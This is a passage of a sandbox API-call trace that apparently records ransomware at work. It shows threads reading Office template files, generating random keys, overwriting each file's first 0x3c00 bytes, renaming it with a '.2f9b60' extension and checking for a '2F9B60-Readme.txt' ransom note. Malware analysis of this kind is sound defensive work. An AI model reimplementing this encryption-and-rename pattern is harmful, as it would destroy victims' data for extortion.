lpNumberOfBytesWritten=0x3554fa80, lpOverlapped=0x0 | out: lpBuffer=0x41e04990*, lpNumberOfBytesWritten=0x3554fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0112.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e04990) returned 1 [0112.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41df1d40) returned 1 [0112.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202a8650 [0112.705] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0112.705] WriteFile (in: hFile=0x1600, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3554fb30, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x3554fb30*=0x102, lpOverlapped=0x0) returned 1 [0112.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0112.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8689c0 [0112.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260bf0 [0112.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260bf0) returned 1 [0112.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0112.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260bf0 [0112.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c40 [0112.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261c40) returned 1 [0112.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8689c0) returned 1 [0112.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0112.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x20261c40 [0112.708] sprintf (in: _Dest=0x20261c40, _Format="%c%c" | out: _Dest="0f") returned 2 [0112.708] sprintf (in: _Dest=0x20261c42, _Format="%c%c" | out: _Dest="ae") returned 2 [0112.708] sprintf (in: _Dest=0x20261c44, _Format="%c%c" | out: _Dest="7b") returned 2 [0112.708] sprintf (in: _Dest=0x20261c46, _Format="%c%c" | out: _Dest="86") returned 2 [0112.708] sprintf (in: _Dest=0x20261c48, _Format="%c%c" | out: _Dest="cf") returned 2 [0112.708] sprintf (in: _Dest=0x20261c4a, _Format="%c%c" | out: _Dest="ac") returned 2 [0112.708] sprintf (in: _Dest=0x20261c4c, _Format="%c%c" | out: _Dest="04") returned 2 [0112.708] sprintf (in: _Dest=0x20261c4e, _Format="%c%c" | out: _Dest="41") returned 2 [0112.709] sprintf (in: _Dest=0x20261c50, _Format="%c%c" | out: _Dest="6c") returned 2 [0112.709] sprintf (in: _Dest=0x20261c52, _Format="%c%c" | out: _Dest="81") returned 2 [0112.709] sprintf (in: _Dest=0x20261c54, _Format="%c%c" | out: _Dest="00") returned 2 [0112.709] sprintf (in: _Dest=0x20261c56, _Format="%c%c" | out: _Dest="72") returned 2 [0112.709] sprintf (in: _Dest=0x20261c58, _Format="%c%c" | out: _Dest="60") returned 2 [0112.709] sprintf (in: _Dest=0x20261c5a, _Format="%c%c" | out: _Dest="6f") returned 2 [0112.709] sprintf (in: _Dest=0x20261c5c, _Format="%c%c" | out: _Dest="13") returned 2 [0112.709] sprintf (in: _Dest=0x20261c5e, _Format="%c%c" | out: _Dest="a8") returned 2 [0112.709] RtlInitAnsiString (in: DestinationString=0x3554fba8, SourceString="0fae7b86cfac04416c810072606f13a8" | out: DestinationString="0fae7b86cfac04416c810072606f13a8") [0112.709] RtlAnsiStringToUnicodeString (in: DestinationString=0x3554fb78, SourceString="0fae7b86cfac04416c810072606f13a8", AllocateDestinationString=1 | out: DestinationString="0fae7b86cfac04416c810072606f13a8") returned 0x0 [0112.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c490 [0112.709] wcscat (in: _Dest=0x1b85cba0, _Source="0fae7b86" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\0fae7b86") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\0fae7b86" [0112.709] wcscat (in: _Dest=0x1b85cba0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\0fae7b86.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\0fae7b86.2f9b60" [0112.709] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\0fae7b86.2f9b60", NtPathName=0x3554fb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\0fae7b86.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0112.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd65d90 [0112.710] NtSetInformationFile (FileHandle=0x1600, IoStatusBlock=0x3554fbf0, FileInformation=0x1cd65d90, Length=0xa0, FileInformationClass=0xa) returned 0x0 [0112.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65d90) returned 1 [0112.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0112.712] NtQueryInformationFile (in: FileHandle=0x1600, IoStatusBlock=0x3554fbb8, FileInformation=0x3554fbc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3554fbb8, FileInformation=0x3554fbc8) returned 0x0 [0112.712] NtSetInformationFile (FileHandle=0x1600, IoStatusBlock=0x3554fbb8, FileInformation=0x3554fbc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0112.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 [0112.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.713] FlushFileBuffers (hFile=0x1600) returned 1 [0112.715] CloseHandle (hObject=0x1600) returned 1 [0112.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85cba0 [0112.733] wcscpy (in: _Dest=0x1b85cba0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0112.733] wcscat (in: _Dest=0x1b85cba0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" [0112.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\2f9b60-readme.txt")) returned 0x20 [0112.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 [0112.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868a40) returned 1 Thread: id = 1131 os_tid = 0xd28 [0112.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR8.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr8.xlt")) returned 0x20 [0112.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR8.XLT", dwFileAttributes=0x20) returned 1 [0112.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR8.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr8.xlt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1600 [0112.738] GetFileSizeEx (in: hFile=0x1600, lpFileSize=0x3581fbe0 | out: lpFileSize=0x3581fbe0*=29696) returned 1 [0112.738] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x73fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.738] ReadFile (in: hFile=0x1600, lpBuffer=0x3581fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3581fba8, lpOverlapped=0x0 | out: lpBuffer=0x3581fb60*, lpNumberOfBytesRead=0x3581fba8*=0x4, lpOverlapped=0x0) returned 1 [0112.740] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8770 [0112.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8680 [0112.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a86b0 [0112.740] NtQuerySystemTime (in: CurrentTime=0x3581faa0 | out: CurrentTime=0x3581faa0*=132462177181930000) returned 0x0 [0112.740] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x6453fcac [0112.740] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x4b5e2690 [0112.740] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x402f564f [0112.740] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x447500bd [0112.740] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x35999b2 [0112.740] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x5836ffb6 [0112.740] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x490c29a1 [0112.740] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x5b579c57 [0112.740] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x70b5411a [0112.740] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x2d86f6b2 [0112.740] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x618875ea [0112.741] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x1477e037 [0112.741] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x3163b596 [0112.741] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x22820852 [0112.741] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x1b738e49 [0112.741] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x5cb3aaac [0112.741] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x6fe06312 [0112.741] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x8a0f4d6 [0112.741] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x3f3b3dc5 [0112.741] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x257d55b3 [0112.741] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x386658d8 [0112.741] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x158701c1 [0112.741] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x4fec0131 [0112.741] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x5db225d7 [0112.741] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x2ed15704 [0112.742] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x54100fc7 [0112.742] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0xdbe2b46 [0112.742] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x1e3057f2 [0112.742] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x54a737cd [0112.742] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x3f03e9c6 [0112.742] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x2687ce3 [0112.742] RtlRandomEx (in: Seed=0x3581fa90 | out: Seed=0x3581fa90) returned 0x6e0136fb [0112.752] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.752] ReadFile (in: hFile=0x1600, lpBuffer=0x41df1d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3581fb00, lpOverlapped=0x0 | out: lpBuffer=0x41df1d40*, lpNumberOfBytesRead=0x3581fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0112.754] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868a40 [0112.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8770 [0112.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8770) returned 1 [0112.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e04990 [0112.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8770 [0112.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a86b0 [0112.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a86b0) returned 1 [0112.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868a40) returned 1 [0112.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.755] WriteFile (in: hFile=0x1600, lpBuffer=0x41e04990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3581fb00, lpOverlapped=0x0 | out: lpBuffer=0x41e04990*, lpNumberOfBytesWritten=0x3581fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0112.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e04990) returned 1 [0112.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41df1d40) returned 1 [0112.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202a86b0 [0112.775] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0112.775] WriteFile (in: hFile=0x1600, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3581fbb0, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x3581fbb0*=0x102, lpOverlapped=0x0) returned 1 [0112.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868a40 [0112.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c40 [0112.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261c40) returned 1 [0112.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0112.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c40 [0112.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a87d0 [0112.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a87d0) returned 1 [0112.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868a40) returned 1 [0112.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x202a87d0 [0112.806] sprintf (in: _Dest=0x202a87d0, _Format="%c%c" | out: _Dest="6d") returned 2 [0112.807] sprintf (in: _Dest=0x202a87d2, _Format="%c%c" | out: _Dest="72") returned 2 [0112.807] sprintf (in: _Dest=0x202a87d4, _Format="%c%c" | out: _Dest="f4") returned 2 [0112.807] sprintf (in: _Dest=0x202a87d6, _Format="%c%c" | out: _Dest="f5") returned 2 [0112.807] sprintf (in: _Dest=0x202a87d8, _Format="%c%c" | out: _Dest="0b") returned 2 [0112.807] sprintf (in: _Dest=0x202a87da, _Format="%c%c" | out: _Dest="e8") returned 2 [0112.807] sprintf (in: _Dest=0x202a87dc, _Format="%c%c" | out: _Dest="e4") returned 2 [0112.807] sprintf (in: _Dest=0x202a87de, _Format="%c%c" | out: _Dest="c5") returned 2 [0112.807] sprintf (in: _Dest=0x202a87e0, _Format="%c%c" | out: _Dest="ae") returned 2 [0112.807] sprintf (in: _Dest=0x202a87e2, _Format="%c%c" | out: _Dest="57") returned 2 [0112.807] sprintf (in: _Dest=0x202a87e4, _Format="%c%c" | out: _Dest="94") returned 2 [0112.807] sprintf (in: _Dest=0x202a87e6, _Format="%c%c" | out: _Dest="98") returned 2 [0112.807] sprintf (in: _Dest=0x202a87e8, _Format="%c%c" | out: _Dest="88") returned 2 [0112.807] sprintf (in: _Dest=0x202a87ea, _Format="%c%c" | out: _Dest="c4") returned 2 [0112.807] sprintf (in: _Dest=0x202a87ec, _Format="%c%c" | out: _Dest="19") returned 2 [0112.807] sprintf (in: _Dest=0x202a87ee, _Format="%c%c" | out: _Dest="94") returned 2 [0112.807] RtlInitAnsiString (in: DestinationString=0x3581fc28, SourceString="6d72f4f50be8e4c5ae57949888c41994" | out: DestinationString="6d72f4f50be8e4c5ae57949888c41994") [0112.807] RtlAnsiStringToUnicodeString (in: DestinationString=0x3581fbf8, SourceString="6d72f4f50be8e4c5ae57949888c41994", AllocateDestinationString=1 | out: DestinationString="6d72f4f50be8e4c5ae57949888c41994") returned 0x0 [0112.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c210 [0112.808] wcscat (in: _Dest=0x1b85cba0, _Source="6d72f4f5" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6d72f4f5") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6d72f4f5" [0112.808] wcscat (in: _Dest=0x1b85cba0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6d72f4f5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6d72f4f5.2f9b60" [0112.808] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6d72f4f5.2f9b60", NtPathName=0x3581fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\6d72f4f5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0112.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd65d90 [0112.808] NtSetInformationFile (FileHandle=0x1600, IoStatusBlock=0x3581fc70, FileInformation=0x1cd65d90, Length=0xa0, FileInformationClass=0xa) returned 0x0 [0112.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65d90) returned 1 [0112.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0112.811] NtQueryInformationFile (in: FileHandle=0x1600, IoStatusBlock=0x3581fc38, FileInformation=0x3581fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3581fc38, FileInformation=0x3581fc48) returned 0x0 [0112.811] NtSetInformationFile (FileHandle=0x1600, IoStatusBlock=0x3581fc38, FileInformation=0x3581fc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0112.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 [0112.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0112.813] FlushFileBuffers (hFile=0x1600) returned 1 [0112.815] CloseHandle (hObject=0x1600) returned 1 [0112.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85cba0 [0112.818] wcscpy (in: _Dest=0x1b85cba0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0112.818] wcscat (in: _Dest=0x1b85cba0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" [0112.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\2f9b60-readme.txt")) returned 0x20 [0112.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 [0112.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 Thread: id = 1132 os_tid = 0xfec [0112.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR9.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr9.xlt")) returned 0x20 [0112.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR9.XLT", dwFileAttributes=0x20) returned 1 [0112.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR9.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr9.xlt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xedc [0112.767] GetFileSizeEx (in: hFile=0xedc, lpFileSize=0x3579f860 | out: lpFileSize=0x3579f860*=30208) returned 1 [0112.767] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x75fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.767] ReadFile (in: hFile=0xedc, lpBuffer=0x3579f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3579f828, lpOverlapped=0x0 | out: lpBuffer=0x3579f7e0*, lpNumberOfBytesRead=0x3579f828*=0x4, lpOverlapped=0x0) returned 1 [0112.776] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8710 [0112.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260bf0 [0112.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c40 [0112.776] NtQuerySystemTime (in: CurrentTime=0x3579f720 | out: CurrentTime=0x3579f720*=132462177182398000) returned 0x0 [0112.776] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x7ca244c0 [0112.776] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x5aa9f456 [0112.776] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x77158025 [0112.776] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x4fe4b253 [0112.776] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x47f19315 [0112.776] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x19d7ecee [0112.776] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x2dde039e [0112.776] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x5f3a6b1b [0112.776] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x40f22582 [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x3ede3c76 [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0xc3e134e [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x77b8eefd [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x7d65daf8 [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x15b71e43 [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x7d22cf00 [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x6730ce5b [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x273dd210 [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x600e0138 [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x42ac319c [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x77b16371 [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x4a6b470e [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x7e9072d2 [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x523333f0 [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x3e917d4f [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x64aec8b6 [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x6eda0624 [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x4c712ba2 [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x5252d1c [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x2a3de09f [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x1e018d7a [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x7978df19 [0112.777] RtlRandomEx (in: Seed=0x3579f710 | out: Seed=0x3579f710) returned 0x46d34497 [0112.787] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.787] ReadFile (in: hFile=0xedc, lpBuffer=0x41df1d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3579f780, lpOverlapped=0x0 | out: lpBuffer=0x41df1d40*, lpNumberOfBytesRead=0x3579f780*=0x3c00, lpOverlapped=0x0) returned 1 [0112.789] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868a40 [0112.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8710 [0112.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8710) returned 1 [0112.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e04990 [0112.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8710 [0112.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c40 [0112.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261c40) returned 1 [0112.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868a40) returned 1 [0112.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 